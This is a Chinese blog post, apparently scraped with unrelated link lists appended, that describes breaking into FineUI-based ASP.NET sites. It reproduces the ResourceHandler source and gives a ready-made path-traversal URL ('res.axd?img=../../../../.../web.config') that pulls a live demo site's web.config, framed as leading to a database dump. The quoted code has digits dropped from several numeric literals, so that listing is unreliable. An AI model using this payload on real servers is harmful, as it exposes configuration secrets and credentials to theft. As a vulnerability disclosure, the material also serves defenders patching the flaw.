ASP.NET网站入侵第三波(fineui系统漏洞,可导致被拖库)
注:屏蔽本漏洞的紧急通知:http://fineui.com/bbs/forum.php?mod=viewthread&tid=7863
本人小学文化,文采不好,写的不好请各位多多包含,
最近笔者喜欢研究一些代码安全方面的问题,前些日子研究了下力软的框架,发现代码安全方面做的还是不足的,今天偶尔的机会接触了下fineui,从最开始的注入开始,都没有什么突破,
最好就想到列别的排序,从列别排序注入,弄了好久,发现一直没注入成功也没有报错,我就很是奇怪,然后看了下fineui的开源版,看了代码,发现原来他是判断的 ,不是拼接的,难怪注入失败,
本来以为没什么办法了,然后查看页面源码,发现一个引用引起了我的注意:
这个地址,于是去看了下他的源码
using System;
using System.Collections.Generic;
using System.Text;
using System.Web;
using System.Reflection;
using System.IO;
using System.Drawing.Imaging; namespace FineUI
{
/// <summary>
/// 资源处理程序
/// </summary>
public class ResourceHandler : IHttpHandler
{
/// <summary>
/// 处理资源的请求
/// </summary>
/// <param name="context">Http请求上下文</param>
public void ProcessRequest(HttpContext context)
{
string type = String.Empty;
string typeValue = String.Empty;
string extjsBasePath = GlobalConfig.GetExtjsBasePath();
//resName = "FineUI."; if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["icon"]))
{
type = "icon";
}
//else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["js"]))
//{
// type = "js";
// //resName += "js." + typeValue;
//}
//else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["lang"]))
//{
// type = "lang";
// //resName += "js.lang." + typeValue;
//}
else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["theme"]))
{
// res.axd?theme=default.grid.refresh.gif
type = "theme";
//resName += "res.theme." + typeValue;
}
//else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["css"]))
//{
// type = "css";
// //resName += "res.css." + typeValue;
//}
else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["img"]))
{
type = "img";
//resName += "res.img." + typeValue;
}
else
{
context.Response.Write("Not supported!");
return;
} //byte[] binary;
switch (type)
{
case "icon":
if (!typeValue.EndsWith(".png") && !typeValue.EndsWith(".gif"))
{
typeValue = IconHelper.GetName((Icon)Enum.Parse(typeof(Icon), typeValue));
}
//resName += "res.icon." + typeValue;
string serverPath = String.Format("{0}/{1}", GlobalConfig.GetIconBasePath(), typeValue);
context.Response.WriteFile(context.Server.MapPath(serverPath)); context.Response.ContentType = "image/" + GetImageFormat(typeValue);
break;
//case "js":
// context.Response.Write(ResourceHelper.GetResourceContent(resName));
// context.Response.ContentType = "text/javascript";
//case "lang":
// context.Response.Write(ResourceHelper.GetResourceContent(resName));
// context.Response.ContentType = "text/javascript";
// break;
//case "css":
// context.Response.Write(ResourceHelper.GetResourceContent(resName));
// context.Response.ContentType = "text/css";
// break;
case "theme":
string themePath = "";
string themeImageFormat = "";
int lastDotIndex = typeValue.LastIndexOf(".");
if (lastDotIndex >= )
{
themePath = typeValue.Substring(, lastDotIndex).Replace('.', '/');
themeImageFormat = typeValue.Substring(lastDotIndex + );
} context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}.{2}", extjsBasePath, themePath, themeImageFormat))); context.Response.ContentType = "image/" + GetImageFormat(typeValue);
break;
case "img":
//binary = ResourceHelper.GetResourceContentAsBinary(resName);
//context.Response.OutputStream.Write(binary, 0, binary.Length);
//context.Response.ContentType = "image/" + GetImageFormat(resName); context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue))); context.Response.ContentType = "image/" + GetImageFormat(typeValue);
break;
} // 缓存一年,只能通过改变 URL 来强制更新缓存
context.Response.Cache.SetExpires(DateTime.Now.AddYears());
context.Response.Cache.SetCacheability(HttpCacheability.Public);
} //private void RenderImage(HttpContext context, string resName)
//{
// Assembly assembly = Assembly.GetExecutingAssembly();
// using (Stream stream = assembly.GetManifestResourceStream(resName))
// {
// using (System.Drawing.Image image = System.Drawing.Image.FromStream(stream))
// {
// // PNG输出时出现“GDI+ 中发生一般性错误”
// using (MemoryStream ms = new MemoryStream())
// {
// image.Save(ms, image.RawFormat);
// ms.WriteTo(context.Response.OutputStream);
// context.Response.ContentType = "image/" + GetImageFormat(image.RawFormat);
// }
// }
// }
//} private string GetImageFormat(string imageName)
{
int lastDotIndex = imageName.LastIndexOf(".");
if (lastDotIndex >= )
{
return imageName.Substring(lastDotIndex + );
}
return "png";
} private string GetImageFormat(ImageFormat format)
{
if (format == ImageFormat.Bmp)
{
return "bmp";
}
else if (format == ImageFormat.Gif)
{
return "gif";
}
else if (format == ImageFormat.Jpeg)
{
return "jpeg";
}
else if (format == ImageFormat.Png)
{
return "png";
}
else if (format == ImageFormat.Tiff)
{
return "tiff";
}
else if (format == ImageFormat.Icon)
{
return "icon";
}
return "gif";
} /// <summary>
/// 只要请求的 URL 相同,则请求可以重用
/// </summary>
public bool IsReusable
{
get
{
return true;
}
}
}
}
看了下,高兴啊。。太好了,不知道你们看出问题来了没有,
问题代码就在
case "img":
//binary = ResourceHelper.GetResourceContentAsBinary(resName);
//context.Response.OutputStream.Write(binary, 0, binary.Length);
//context.Response.ContentType = "image/" + GetImageFormat(resName); context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue))); context.Response.ContentType = "image/" + GetImageFormat(typeValue);
break;
大家都应该知道 我们引用js或者css的时候经常会有../ 这样的路径,其实很简单,就是上级目录,
我们就利用这个../ 把作者写的/res/images/给去掉 也就是变成路径
/res/images/../../web.config
就这样我们就可以拿到web.config了,然后拼成完整的url:http://fineui.com/demo/res.axd?img=../../../../appboxpro/web.config&t=icon 浏览器输入



ok web.config就这样被拿下来了,,,当然,web.config都拿下了,其它也就都没什么可说的了,
今天就先到这吧。。。还得写文档,明天演示项目,注定又是一个无眠夜。。。
ASP.NET网站入侵第三波(fineui系统漏洞,可导致被拖库)的更多相关文章
- ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)
笔者小学文化,语言组织能力差,写的不通的地方请大家将就着看,不喜勿喷. 上篇我讲了如何在上传文件中入侵服务器,這次我们稍微多讲一点. 还是先讲下流程: 1.上传代码页面 我上传的是ashx页面. 2 ...
- 记一次ASP.NET网站的入侵和如何避免被入侵
ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下) 详细介绍请看第二波 首先我要申明的是不是什么语言写出来的程序就不安全,而是得看写代码的人如何去写这个程序 前些日子我去客 ...
- 图文解说Win7系统机器上发布C#+ASP.NET网站
1. 概述 在一台干净的Win7机器上发布ASP.NET网站需要准备的有: a) .NET Framework 环境 b) 数据库 c) IIS ...
- 在Windows系统搭建.NET Core环境并创建运行ASP.NET网站
微软于6月27日在红帽DevNation峰会上 正式发布了.NET Core 1.0.ASP.NET 1.0和Entity Framework Core 1.0,其将全部支持Windows.OS X和 ...
- web安全普及:通俗易懂,如何让网站变得更安全?以实例来讲述网站入侵原理及防护。
本篇以我自己的网站[http://www.1996v.com]为例来通俗易懂的讲述如何防止网站被入侵,如何让网站更安全. 要想足够安全,首先得知道其中的道理. 本文例子通俗易懂,从"破解网站 ...
- ASP.NET 开发必备知识点(1):如何让Asp.net网站运行在自定义的Web服务器上
一.前言 大家都知道,在之前,我们Asp.net 的网站都只能部署在IIS上,并且IIS也只存在于Windows上,这样Asp.net开发的网站就难以做到跨平台.由于微软的各项技术的开源,所以微软自然 ...
- 搭建调用 WebService 的 ASP.NET 网站 (VS2010, C#)
[系统环境]Windows 7 / 2008r2 [软件环境]Visual Studio 2010 [开发语言]C# [感谢]本文是在 <C#开发和调用Web Service> 一文的基础 ...
- 多年前写的一个ASP.NET网站管理系统,到现在有些公司在用
多年前写的一个ASP.NET网站管理系统,到现在有些公司在用 今早上接到一个电话,自已多年前写的一个ASP.NET网站管理系统,一个公司在用,出了点问题, 第一点是惊奇,5,6年前的东东,手机号码换了 ...
- 64位Win7下运行ASP+Access网站的方法
64位Win7下运行ASP+Access网站的方法 近日系统升级为WIN7 64位之后,突然发现原本运行正常的ASP+ACCESS网站无法正常连接数据库. 网上搜索多次,终于解决了问题,总结了几条经验 ...
随机推荐
- js 百度地图
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- 利用phpmyadmin修改mysql的root密码及如何进入修改密码后的phpmyadmin
1.利用phpmyadmin修改mysql的root密码 很多人利用phpmyadmin或者命令行来修改了mysql的root密码,重启后发现mysql登录错误,这是为什么呢?修改mysql的root ...
- [转]UpdatePanel的用法详解
本文转自:http://www.cnblogs.com/shangxia/articles/2281782.html 今天用做日历显示本月的考勤记录,用到了UpdatePanel控件,才发现对这个控件 ...
- openjudge8469特殊密码锁[贪心]
描述 有一种特殊的二进制密码锁,由n个相连的按钮组成(n<30),按钮有凹/凸两种状态,用手按按钮会改变其状态. 然而让人头疼的是,当你按一个按钮时,跟它相邻的两个按钮状态也会反转.当然,如果你 ...
- ACCP 结业考试
1) 在SQL Server 中,为数据库表建立索引能够(C ). 索引:是SQL SERVER编排数据的内部方法,是检索表中数据的直接通道 建立索引的作用:大大提高了数据库的检索速度,改善数据库性能 ...
- 任务调度开源框架Quartz动态添加、修改和删除定时任务
Quartz 是个开源的作业调度框架,为在 Java 应用程序中进行作业调度提供了简单却强大的机制.Quartz框架包含了调度器监听.作业和触发器监听.你可以配置作业和触发器监听为全局监听或者是特定于 ...
- Android的4种文件类型Java,class,dex,apk
Java文件-----应用程序源文件 Android本身相当一部分都是用java编写而成(基本上架构图里头蓝色的部份都是用Java开发的),android的应用必须使用java来开发 Class文件- ...
- 查看oracle死锁进程并结束死锁
查看锁表进程SQL语句1: select sess.sid, sess.serial#, lo.oracle_username, lo.os_user_name, ao.object_name, lo ...
- http协议(九)响应首部字段
响应首部字段: 服务器向客户端返回响应报文中所使用的字段,用于补充的附加信息.服务器信息.以及对客户端的附加要求等 1.Accept-Ranges 告知客户端服务器能否处理范围请求,以指定获取服务器的 ...
- ACA烤箱菜单各项温度
说明书找不到了, 网上找到的各项温度说明, 记一个备用 casserole 218度 cake 171度 backery 177度 frozen food 238度 patato 232度 roast ...